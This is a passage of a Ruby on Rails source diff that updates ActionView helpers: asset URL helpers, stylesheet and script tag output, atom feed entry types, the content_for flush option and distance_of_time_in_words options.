         #   javascript_path "xmlhr"                              # => /javascripts/xmlhr.js
         #   javascript_path "dir/xmlhr.js"                       # => /javascripts/dir/xmlhr.js
         #   javascript_path "/dir/xmlhr"                         # => /dir/xmlhr.js
@@ -87,6 +86,13 @@ module ActionView
         end
         alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
 
+        # Computes the full URL to a javascript asset in the public javascripts directory.
+        # This will use +javascript_path+ internally, so most of their behaviors will be the same.
+        def javascript_url(source)
+          URI.join(current_host, path_to_javascript(source)).to_s
+        end
+        alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
+
         # Returns an HTML script tag for each of the +sources+ provided.
         #
         # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
@@ -101,44 +107,43 @@ module ActionView
         #
         #   config.action_view.javascript_expansions[:defaults] = %w(foo.js bar.js)
         #
-        # When using <tt>:defaults</tt>, if an <tt>application.js</tt> file exists in
-        # <tt>public/javascripts</tt> it will be included as well at the end.
+        # When using <tt>:defaults</tt> or <tt>:all</tt>, if an <tt>application.js</tt> file exists
+        # in <tt>public/javascripts</tt> it will be included as well at the end.
         #
         # You can modify the HTML attributes of the script tag by passing a hash as the
         # last argument.
         #
-        # ==== Examples
         #   javascript_include_tag "xmlhr"
-        #   # => <script type="text/javascript" src="/javascripts/xmlhr.js?1284139606"></script>
+        #   # => <script src="/javascripts/xmlhr.js?1284139606"></script>
         #
         #   javascript_include_tag "xmlhr.js"
-        #   # => <script type="text/javascript" src="/javascripts/xmlhr.js?1284139606"></script>
+        #   # => <script src="/javascripts/xmlhr.js?1284139606"></script>
         #
         #   javascript_include_tag "common.javascript", "/elsewhere/cools"
-        #   # => <script type="text/javascript" src="/javascripts/common.javascript?1284139606"></script>
-        #   #    <script type="text/javascript" src="/elsewhere/cools.js?1423139606"></script>
+        #   # => <script src="/javascripts/common.javascript?1284139606"></script>
+        #   #    <script src="/elsewhere/cools.js?1423139606"></script>
         #
         #   javascript_include_tag "http://www.example.com/xmlhr"
-        #   # => <script type="text/javascript" src="http://www.example.com/xmlhr"></script>
+        #   # => <script src="http://www.example.com/xmlhr"></script>
         #
         #   javascript_include_tag "http://www.example.com/xmlhr.js"
-        #   # => <script type="text/javascript" src="http://www.example.com/xmlhr.js"></script>
+        #   # => <script src="http://www.example.com/xmlhr.js"></script>
         #
         #   javascript_include_tag :defaults
-        #   # => <script type="text/javascript" src="/javascripts/jquery.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/rails.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/application.js?1284139606"></script>
+        #   # => <script src="/javascripts/jquery.js?1284139606"></script>
+        #   #    <script src="/javascripts/rails.js?1284139606"></script>
+        #   #    <script src="/javascripts/application.js?1284139606"></script>
         #
-        # * = The application.js file is only referenced if it exists
+        # Note: The application.js file is only referenced if it exists
         #
         # You can also include all JavaScripts in the +javascripts+ directory using <tt>:all</tt> as the source:
         #
         #   javascript_include_tag :all
-        #   # => <script type="text/javascript" src="/javascripts/jquery.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/rails.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/application.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/shop.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/checkout.js?1284139606"></script>
+        #   # => <script src="/javascripts/jquery.js?1284139606"></script>
+        #   #    <script src="/javascripts/rails.js?1284139606"></script>
+        #   #    <script src="/javascripts/shop.js?1284139606"></script>
+        #   #    <script src="/javascripts/checkout.js?1284139606"></script>
+        #   #    <script src="/javascripts/application.js?1284139606"></script>
         #
         # Note that your defaults of choice will be included first, so they will be available to all subsequently
         # included files.
@@ -155,29 +160,27 @@ module ActionView
         # <tt>config.perform_caching</tt> is set to true (which is the case by default for the Rails
         # production environment, but not for the development environment).
         #
-        # ==== Examples
-        #
         #   # assuming config.perform_caching is false
         #   javascript_include_tag :all, :cache => true
-        #   # => <script type="text/javascript" src="/javascripts/jquery.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/rails.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/application.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/shop.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/checkout.js?1284139606"></script>
+        #   # => <script src="/javascripts/jquery.js?1284139606"></script>
+        #   #    <script src="/javascripts/rails.js?1284139606"></script>
+        #   #    <script src="/javascripts/shop.js?1284139606"></script>
+        #   #    <script src="/javascripts/checkout.js?1284139606"></script>
+        #   #    <script src="/javascripts/application.js?1284139606"></script>
         #
         #   # assuming config.perform_caching is true
         #   javascript_include_tag :all, :cache => true
-        #   # => <script type="text/javascript" src="/javascripts/all.js?1344139789"></script>
+        #   # => <script src="/javascripts/all.js?1344139789"></script>
         #
         #   # assuming config.perform_caching is false
         #   javascript_include_tag "jquery", "cart", "checkout", :cache => "shop"
-        #   # => <script type="text/javascript" src="/javascripts/jquery.js?1284139606"></script>
-        #   #    <script type="text/javascript" src="/javascripts/cart.js?1289139157"></script>
-        #   #    <script type="text/javascript" src="/javascripts/checkout.js?1299139816"></script>
+        #   # => <script src="/javascripts/jquery.js?1284139606"></script>
+        #   #    <script src="/javascripts/cart.js?1289139157"></script>
+        #   #    <script src="/javascripts/checkout.js?1299139816"></script>
         #
         #   # assuming config.perform_caching is true
         #   javascript_include_tag "jquery", "cart", "checkout", :cache => "shop"
-        #   # => <script type="text/javascript" src="/javascripts/shop.js?1299139816"></script>
+        #   # => <script src="/javascripts/shop.js?1299139816"></script>
         #
         # The <tt>:recursive</tt> option is also available for caching:
         #
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb
index 343153c8c5..e3a86a8889 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb
@@ -1,4 +1,3 @@
-require 'active_support/concern'
 require 'active_support/core_ext/file'
 require 'action_view/helpers/asset_tag_helpers/asset_include_tag'
 
@@ -6,7 +5,7 @@ module ActionView
   module Helpers
     module AssetTagHelper
 
-      class StylesheetIncludeTag < AssetIncludeTag
+      class StylesheetIncludeTag < AssetIncludeTag #:nodoc:
         def asset_name
           'stylesheet'
         end
@@ -17,7 +16,7 @@ module ActionView
 
         def asset_tag(source, options)
           # We force the :request protocol here to avoid a double-download bug in IE7 and IE8
-          tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => path_to_asset(source, :protocol => :request) }.merge(options))
+          tag("link", { "rel" => "stylesheet", "media" => "screen", "href" => path_to_asset(source, :protocol => :request) }.merge(options))
         end
 
         def custom_dir
@@ -38,9 +37,9 @@ module ActionView
           #   ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
           #
           #   stylesheet_link_tag :monkey # =>
-          #     <link href="/stylesheets/head.css"  media="screen" rel="stylesheet" type="text/css" />
-          #     <link href="/stylesheets/body.css"  media="screen" rel="stylesheet" type="text/css" />
-          #     <link href="/stylesheets/tail.css"  media="screen" rel="stylesheet" type="text/css" />
+          #     <link href="/stylesheets/head.css"  media="screen" rel="stylesheet" />
+          #     <link href="/stylesheets/body.css"  media="screen" rel="stylesheet" />
+          #     <link href="/stylesheets/tail.css"  media="screen" rel="stylesheet" />
           def register_stylesheet_expansion(expansions)
             style_expansions = StylesheetIncludeTag.expansions
             expansions.each do |key, values|
@@ -53,8 +52,7 @@ module ActionView
         # If the +source+ filename has no extension, <tt>.css</tt> will be appended (except for explicit URIs).
         # Full paths from the document root will be passed through.
         # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
-        # 
-        # ==== Examples
+        #
         #   stylesheet_path "style"                                  # => /stylesheets/style.css
         #   stylesheet_path "dir/style.css"                          # => /stylesheets/dir/style.css
         #   stylesheet_path "/dir/style.css"                         # => /dir/style.css
@@ -65,36 +63,45 @@ module ActionView
         end
         alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
 
+        # Computes the full URL to a stylesheet asset in the public stylesheets directory.
+        # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
+        def stylesheet_url(source)
+          URI.join(current_host, path_to_stylesheet(source)).to_s
+        end
+        alias_method :url_to_stylesheet, :stylesheet_url # aliased to avoid conflicts with a stylesheet_url named route
+
         # Returns a stylesheet link tag for the sources specified as arguments. If
         # you don't specify an extension, <tt>.css</tt> will be appended automatically.
         # You can modify the link attributes by passing a hash as the last argument.
+        # For historical reasons, the 'media' attribute will always be present and defaults
+        # to "screen", so you must explicitely set it to "all" for the stylesheet(s) to
+        # apply to all media types.
         #
-        # ==== Examples
         #   stylesheet_link_tag "style" # =>
-        #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" />
         #
         #   stylesheet_link_tag "style.css" # =>
-        #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" />
         #
         #   stylesheet_link_tag "http://www.example.com/style.css" # =>
-        #     <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
         #
         #   stylesheet_link_tag "style", :media => "all" # =>
-        #     <link href="/stylesheets/style.css" media="all" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/style.css" media="all" rel="stylesheet" />
         #
         #   stylesheet_link_tag "style", :media => "print" # =>
-        #     <link href="/stylesheets/style.css" media="print" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/style.css" media="print" rel="stylesheet" />
         #
         #   stylesheet_link_tag "random.styles", "/css/stylish" # =>
-        #     <link href="/stylesheets/random.styles" media="screen" rel="stylesheet" type="text/css" />
-        #     <link href="/css/stylish.css" media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/random.styles" media="screen" rel="stylesheet" />
+        #     <link href="/css/stylish.css" media="screen" rel="stylesheet" />
         #
         # You can also include all styles in the stylesheets directory using <tt>:all</tt> as the source:
         #
         #   stylesheet_link_tag :all # =>
-        #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" type="text/css" />
-        #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" type="text/css" />
-        #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" />
+        #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" />
+        #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" />
         #
         # If you want Rails to search in all the subdirectories under stylesheets, you should explicitly set <tt>:recursive</tt>:
         #
@@ -103,26 +110,25 @@ module ActionView
         # == Caching multiple stylesheets into one
         #
         # You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be
-        # compressed by gzip (leading to faster transfers). Caching will only happen if config.perform_caching
+        # compressed by gzip (leading to faster transfers). Caching will only happen if +config.perform_caching+
         # is set to true (which is the case by default for the Rails production environment, but not for the development
         # environment). Examples:
         #
-        # ==== Examples
         #   stylesheet_link_tag :all, :cache => true # when config.perform_caching is false =>
-        #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" type="text/css" />
-        #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" type="text/css" />
-        #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" />
+        #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" />
+        #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" />
         #
         #   stylesheet_link_tag :all, :cache => true # when config.perform_caching is true =>
-        #     <link href="/stylesheets/all.css"  media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/all.css"  media="screen" rel="stylesheet" />
         #
         #   stylesheet_link_tag "shop", "cart", "checkout", :cache => "payment" # when config.perform_caching is false =>
-        #     <link href="/stylesheets/shop.css"  media="screen" rel="stylesheet" type="text/css" />
-        #     <link href="/stylesheets/cart.css"  media="screen" rel="stylesheet" type="text/css" />
-        #     <link href="/stylesheets/checkout.css" media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/shop.css"  media="screen" rel="stylesheet" />
+        #     <link href="/stylesheets/cart.css"  media="screen" rel="stylesheet" />
+        #     <link href="/stylesheets/checkout.css" media="screen" rel="stylesheet" />
         #
         #   stylesheet_link_tag "shop", "cart", "checkout", :cache => "payment" # when config.perform_caching is true =>
-        #     <link href="/stylesheets/payment.css"  media="screen" rel="stylesheet" type="text/css" />
+        #     <link href="/stylesheets/payment.css"  media="screen" rel="stylesheet" />
         #
         # The <tt>:recursive</tt> option is also available for caching:
         #
diff --git a/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
index 39c37b25dc..f9aa8d7cee 100644
--- a/actionpack/lib/action_view/helpers/atom_feed_helper.rb
+++ b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
@@ -32,7 +32,7 @@ module ActionView
       #   app/views/posts/index.atom.builder:
       #     atom_feed do |feed|
       #       feed.title("My great blog!")
-      #       feed.updated(@posts.first.created_at)
+      #       feed.updated(@posts[0].created_at) if @posts.length > 0
       #
       #       @posts.each do |post|
       #         feed.entry(post) do |entry|
@@ -176,6 +176,7 @@ module ActionView
         # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
         # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
         # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
+        # * <tt>:type</tt>: The TYPE for this entry. Defaults to "text/html".
         def entry(record, options = {})
           @xml.entry do
             @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
@@ -188,7 +189,9 @@ module ActionView
               @xml.updated((options[:updated] || record.updated_at).xmlschema)
             end
 
-            @xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:url] || @view.polymorphic_url(record))
+            type = options.fetch(:type, 'text/html')
+
+            @xml.link(:rel => 'alternate', :type => type, :href => options[:url] || @view.polymorphic_url(record))
 
             yield AtomBuilder.new(@xml)
           end
diff --git a/actionpack/lib/action_view/helpers/benchmark_helper.rb b/actionpack/lib/action_view/helpers/benchmark_helper.rb
new file mode 100644
index 0000000000..dfdd5a786d
--- /dev/null
+++ b/actionpack/lib/action_view/helpers/benchmark_helper.rb
@@ -0,0 +1,13 @@
+require 'active_support/benchmarkable'
+
+module ActionView
+  module Helpers
+    module BenchmarkHelper
+      include ActiveSupport::Benchmarkable
+
+      def benchmark(*)
+        capture { super }
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/cache_helper.rb b/actionpack/lib/action_view/helpers/cache_helper.rb
index 850dd5f448..39518268df 100644
--- a/actionpack/lib/action_view/helpers/cache_helper.rb
+++ b/actionpack/lib/action_view/helpers/cache_helper.rb
@@ -8,29 +8,28 @@ module ActionView
       # fragments, and so on. This method takes a block that contains
       # the content you wish to cache. 
       #
-      # See ActionController::Caching::Fragments for usage instructions.
+      # The best way to use this is by doing key-based cache expiration
+      # on top of a cache store like Memcached that'll automatically
+      # kick out old entries. For more on key-based expiration, see:
+      # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
       #
-      # ==== Examples
-      # If you want to cache a navigation menu, you can do following:
+      # When using this method, you list the cache dependencies as part of
+      # the name of the cache, like so:
       #
-      #   <% cache do %>
-      #     <%= render :partial => "menu" %>
+      #   <% cache [ "v1", project ] do %>
+      #     <b>All the topics on this project</b>
+      #     <%= render project.topics %>
       #   <% end %>
       #
-      # You can also cache static content:
+      # This approach will assume that when a new topic is added, you'll touch
+      # the project. The cache key generated from this call will be something like:
       #
-      #   <% cache do %>
-      #      <p>Hello users!  Welcome to our website!</p>
-      #   <% end %>
-      #
-      # Static content with embedded ruby content can be cached as 
-      # well:
+      #   views/v1/projects/123-20120806214154
+      #            ^class   ^id ^updated_at
       #
-      #    <% cache do %>
-      #      Topics:
-      #      <%= render :partial => "topics", :collection => @topic_list %>
-      #      <i>Topics listed alphabetically</i>
-      #    <% end %>
+      # If you update the rendering of topics, you just bump the version to v2.
+      # Otherwise the cache is automatically bumped whenever the project updated_at
+      # is touched.
       def cache(name = {}, options = nil, &block)
         if controller.perform_caching
           safe_concat(fragment_for(name, options, &block))
diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionpack/lib/action_view/helpers/capture_helper.rb
index 8abd85c3a3..c98101a195 100644
--- a/actionpack/lib/action_view/helpers/capture_helper.rb
+++ b/actionpack/lib/action_view/helpers/capture_helper.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/string/output_safety'
 
 module ActionView
@@ -13,7 +12,6 @@ module ActionView
       # The capture method allows you to extract part of a template into a
       # variable. You can then use this variable anywhere in your templates or layout.
       #
-      # ==== Examples
       # The capture method can be used in ERB templates...
       #
       #   <% @greeting = capture do %>
@@ -81,8 +79,8 @@ module ActionView
       #   <%# This is the layout %>
       #   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
       #   <head>
-      #	    <title>My Website</title>
-      #	    <%= yield :script %>
+      #     <title>My Website</title>
+      #     <%= yield :script %>
       #   </head>
       #   <body>
       #     <%= yield %>
@@ -96,7 +94,7 @@ module ActionView
       #   Please login!
       #
       #   <% content_for :script do %>
-      #     <script type="text/javascript">alert('You are not authorized to view this page!')</script>
+      #     <script>alert('You are not authorized to view this page!')</script>
       #   <% end %>
       #
       # Then, in another view, you could to do something like this:
@@ -110,7 +108,7 @@ module ActionView
       # That will place +script+ tags for your default set of JavaScript files on the page;
       # this technique is useful if you'll only be using these scripts in a few views.
       #
-      # Note that content_for concatenates the blocks it is given for a particular
+      # Note that content_for concatenates (default) the blocks it is given for a particular
       # identifier in order. For example:
       #
       #   <% content_for :navigation do %>
@@ -127,16 +125,37 @@ module ActionView
       #
       #   <ul><%= content_for :navigation %></ul>
       #
+      # If the flush parameter is true content_for replaces the blocks it is given. For example:
+      #
+      #   <% content_for :navigation do %>
+      #     <li><%= link_to 'Home', :action => 'index' %></li>
+      #   <% end %>
+      #
+      #   <%#  Add some other content, or use a different template: %>
+      #
+      #   <% content_for :navigation, flush: true do %>
+      #     <li><%= link_to 'Login', :action => 'login' %></li>
+      #   <% end %>
+      #
+      # Then, in another template or layout, this code would render only the last link:
+      #
+      #   <ul><%= content_for :navigation %></ul>
+      #
       # Lastly, simple content can be passed as a parameter:
       #
       #   <% content_for :script, javascript_include_tag(:defaults) %>
       #
       # WARNING: content_for is ignored in caches. So you shouldn't use it
       # for elements that will be fragment cached.
-      def content_for(name, content = nil, &block)
+      def content_for(name, content = nil, options = {}, &block)
         if content || block_given?
-          content = capture(&block) if block_given?
-          @view_flow.append(name, content) if content
+          if block_given?
+            options = content if content
+            content = capture(&block)
+          end
+          if content
+            options[:flush] ? @view_flow.set(name, content) : @view_flow.append(name, content)
+          end
           nil
         else
           @view_flow.get(name)
@@ -164,8 +183,8 @@ module ActionView
       #   <%# This is the layout %>
       #   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
       #   <head>
-      #	    <title>My Website</title>
-      #	    <%= yield :script %>
+      #     <title>My Website</title>
+      #     <%= yield :script %>
       #   </head>
       #   <body class="<%= content_for?(:right_col) ? 'one-column' : 'two-column' %>">
       #     <%= yield %>
@@ -181,7 +200,7 @@ module ActionView
       def with_output_buffer(buf = nil) #:nodoc:
         unless buf
           buf = ActionView::OutputBuffer.new
-          buf.force_encoding(output_buffer.encoding) if output_buffer.respond_to?(:encoding) && buf.respond_to?(:force_encoding)
+          buf.force_encoding(output_buffer.encoding) if output_buffer
         end
         self.output_buffer, old_buffer = buf, output_buffer
         yield
@@ -193,8 +212,8 @@ module ActionView
       # Add the output buffer to the response body and start a new one.
       def flush_output_buffer #:nodoc:
         if output_buffer && !output_buffer.empty?
-          response.body_parts << output_buffer
-          self.output_buffer = output_buffer[0,0]
+          response.stream.write output_buffer
+          self.output_buffer = output_buffer.respond_to?(:clone_empty) ? output_buffer.clone_empty : output_buffer[0, 0]
           nil
         end
       end
diff --git a/actionpack/lib/action_view/helpers/controller_helper.rb b/actionpack/lib/action_view/helpers/controller_helper.rb
index 1a583e62ae..74ef25f7c1 100644
--- a/actionpack/lib/action_view/helpers/controller_helper.rb
+++ b/actionpack/lib/action_view/helpers/controller_helper.rb
@@ -10,14 +10,16 @@ module ActionView
       delegate :request_forgery_protection_token, :params, :session, :cookies, :response, :headers,
                :flash, :action_name, :controller_name, :controller_path, :to => :controller
 
-      delegate :logger, :to => :controller, :allow_nil => true
-
       def assign_controller(controller)
         if @_controller = controller
           @_request = controller.request if controller.respond_to?(:request)
           @_config  = controller.config.inheritable_copy if controller.respond_to?(:config)
         end
       end
+
+      def logger
+        controller.logger if controller.respond_to?(:logger)
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_view/helpers/csrf_helper.rb b/actionpack/lib/action_view/helpers/csrf_helper.rb
index 1f2bc28cac..eeb0ed94b9 100644
--- a/actionpack/lib/action_view/helpers/csrf_helper.rb
+++ b/actionpack/lib/action_view/helpers/csrf_helper.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/string/strip'
-
 module ActionView
   # = Action View CSRF Helper
   module Helpers
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
index 4deb87180c..dea2aa69dd 100644
--- a/actionpack/lib/action_view/helpers/date_helper.rb
+++ b/actionpack/lib/action_view/helpers/date_helper.rb
@@ -12,14 +12,14 @@ module ActionView
     # elements. All of the select-type methods share a number of common options that are as follows:
     #
     # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
-    # would give birthday[month] instead of date[month] if passed to the <tt>select_month</tt> method.
+    # would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
     # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
     # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
     #   the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
-    #   of "date[month]".
+    #   of \date[month].
     module DateHelper
       # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
-      # Set <tt>include_seconds</tt> to true if you want more detailed approximations when distance < 1 min, 29 secs.
+      # Pass <tt>:include_seconds => true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
       # Distances are reported based on the following table:
       #
       #   0 <-> 29 secs                                                             # => less than a minute
@@ -29,14 +29,15 @@ module ActionView
       #   89 mins, 30 secs <-> 23 hrs, 59 mins, 29 secs                             # => about [2..24] hours
       #   23 hrs, 59 mins, 30 secs <-> 41 hrs, 59 mins, 29 secs                     # => 1 day
       #   41 hrs, 59 mins, 30 secs  <-> 29 days, 23 hrs, 59 mins, 29 secs           # => [2..29] days
-      #   29 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
+      #   29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs   # => about 1 month
+      #   44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs   # => about 2 months
       #   59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec                    # => [2..12] months
       #   1 yr <-> 1 yr, 3 months                                                   # => about 1 year
       #   1 yr, 3 months <-> 1 yr, 9 months                                         # => over 1 year
       #   1 yr, 9 months <-> 2 yr minus 1 sec                                       # => almost 2 years
       #   2 yrs <-> max time or date                                                # => (same rules as 1 yr)
       #
-      # With <tt>include_seconds</tt> = true and the difference < 1 minute 29 seconds:
+      # With <tt>:include_seconds => true</tt> and the difference < 1 minute 29 seconds:
       #   0-4   secs      # => less than 5 seconds
       #   5-9   secs      # => less than 10 seconds
       #   10-19 secs      # => less than 20 seconds
@@ -46,36 +47,44 @@ module ActionView
       #
       # ==== Examples
       #   from_time = Time.now
-      #   distance_of_time_in_words(from_time, from_time + 50.minutes)        # => about 1 hour
-      #   distance_of_time_in_words(from_time, 50.minutes.from_now)           # => about 1 hour
-      #   distance_of_time_in_words(from_time, from_time + 15.seconds)        # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time + 15.seconds, true)  # => less than 20 seconds
-      #   distance_of_time_in_words(from_time, 3.years.from_now)              # => about 3 years
-      #   distance_of_time_in_words(from_time, from_time + 60.hours)          # => 3 days
-      #   distance_of_time_in_words(from_time, from_time + 45.seconds, true)  # => less than a minute
-      #   distance_of_time_in_words(from_time, from_time - 45.seconds, true)  # => less than a minute
-      #   distance_of_time_in_words(from_time, 76.seconds.from_now)           # => 1 minute
-      #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)   # => about 1 year
-      #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
+      #   distance_of_time_in_words(from_time, from_time + 50.minutes)                                # => about 1 hour
+      #   distance_of_time_in_words(from_time, 50.minutes.from_now)                                   # => about 1 hour
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds)                                # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time + 15.seconds, :include_seconds => true)      # => less than 20 seconds
+      #   distance_of_time_in_words(from_time, 3.years.from_now)                                      # => about 3 years
+      #   distance_of_time_in_words(from_time, from_time + 60.hours)                                  # => 3 days
+      #   distance_of_time_in_words(from_time, from_time + 45.seconds, :include_seconds => true)      # => less than a minute
+      #   distance_of_time_in_words(from_time, from_time - 45.seconds, :include_seconds => true)      # => less than a minute
+      #   distance_of_time_in_words(from_time, 76.seconds.from_now)                                   # => 1 minute
+      #   distance_of_time_in_words(from_time, from_time + 1.year + 3.days)                           # => about 1 year
+      #   distance_of_time_in_words(from_time, from_time + 3.years + 6.months)                        # => over 3 years
       #   distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
       #
       #   to_time = Time.now + 6.years + 19.days
-      #   distance_of_time_in_words(from_time, to_time, true)     # => about 6 years
-      #   distance_of_time_in_words(to_time, from_time, true)     # => about 6 years
-      #   distance_of_time_in_words(Time.now, Time.now)           # => less than a minute
-      #
-      def distance_of_time_in_words(from_time, to_time = 0, include_seconds = false, options = {})
+      #   distance_of_time_in_words(from_time, to_time, :include_seconds => true)                     # => about 6 years
+      #   distance_of_time_in_words(to_time, from_time, :include_seconds => true)                     # => about 6 years
+      #   distance_of_time_in_words(Time.now, Time.now)                                               # => less than a minute
+      def distance_of_time_in_words(from_time, to_time = 0, include_seconds_or_options = {}, options = {})
+        if include_seconds_or_options.is_a?(Hash)
+          options = include_seconds_or_options
+        else
+          ActiveSupport::Deprecation.warn "distance_of_time_in_words and time_ago_in_words now accept :include_seconds " +
+                                          "as a part of options hash, not a boolean argument", caller
+          options[:include_seconds] ||= !!include_seconds_or_options
+        end
+
         from_time = from_time.to_time if from_time.respond_to?(:to_time)
         to_time = to_time.to_time if to_time.respond_to?(:to_time)
-        distance_in_minutes = (((to_time - from_time).abs)/60).round
-        distance_in_seconds = ((to_time - from_time).abs).round
+        from_time, to_time = to_time, from_time if from_time > to_time
+        distance_in_minutes = ((to_time - from_time)/60.0).round
+        distance_in_seconds = (to_time - from_time).round
 
         I18n.with_options :locale => options[:locale], :scope => :'datetime.distance_in_words' do |locale|
           case distance_in_minutes
             when 0..1
               return distance_in_minutes == 0 ?
                      locale.t(:less_than_x_minutes, :count => 1) :
-                     locale.t(:x_minutes, :count => distance_in_minutes) unless include_seconds
+                     locale.t(:x_minutes, :count => distance_in_minutes) unless options[:include_seconds]
 
               case distance_in_seconds
                 when 0..4   then locale.t :less_than_x_seconds, :count => 5
@@ -86,26 +95,35 @@ module ActionView
                 else             locale.t :x_minutes,           :count => 1
               end
 
-            when 2..44           then locale.t :x_minutes,      :count => distance_in_minutes
-            when 45..89          then locale.t :about_x_hours,  :count => 1
-            when 90..1439        then locale.t :about_x_hours,  :count => (distance_in_minutes.to_f / 60.0).round
-            when 1440..2519      then locale.t :x_days,         :count => 1
-            when 2520..43199     then locale.t :x_days,         :count => (distance_in_minutes.to_f / 1440.0).round
-            when 43200..86399    then locale.t :about_x_months, :count => 1
-            when 86400..525599   then locale.t :x_months,       :count => (distance_in_minutes.to_f / 43200.0).round
+            when 2...45           then locale.t :x_minutes,      :count => distance_in_minutes
+            when 45...90          then locale.t :about_x_hours,  :count => 1
+            # 90 mins up to 24 hours
+            when 90...1440        then locale.t :about_x_hours,  :count => (distance_in_minutes.to_f / 60.0).round
+            # 24 hours up to 42 hours
+            when 1440...2520      then locale.t :x_days,         :count => 1
+            # 42 hours up to 30 days
+            when 2520...43200     then locale.t :x_days,         :count => (distance_in_minutes.to_f / 1440.0).round
+            # 30 days up to 60 days
+            when 43200...86400    then locale.t :about_x_months, :count => (distance_in_minutes.to_f / 43200.0).round
+            # 60 days up to 365 days
+            when 86400...525600   then locale.t :x_months,       :count => (distance_in_minutes.to_f / 43200.0).round
             else
-              fyear = from_time.year
-              fyear += 1 if from_time.month >= 3
-              tyear = to_time.year
-              tyear -= 1 if to_time.month < 3
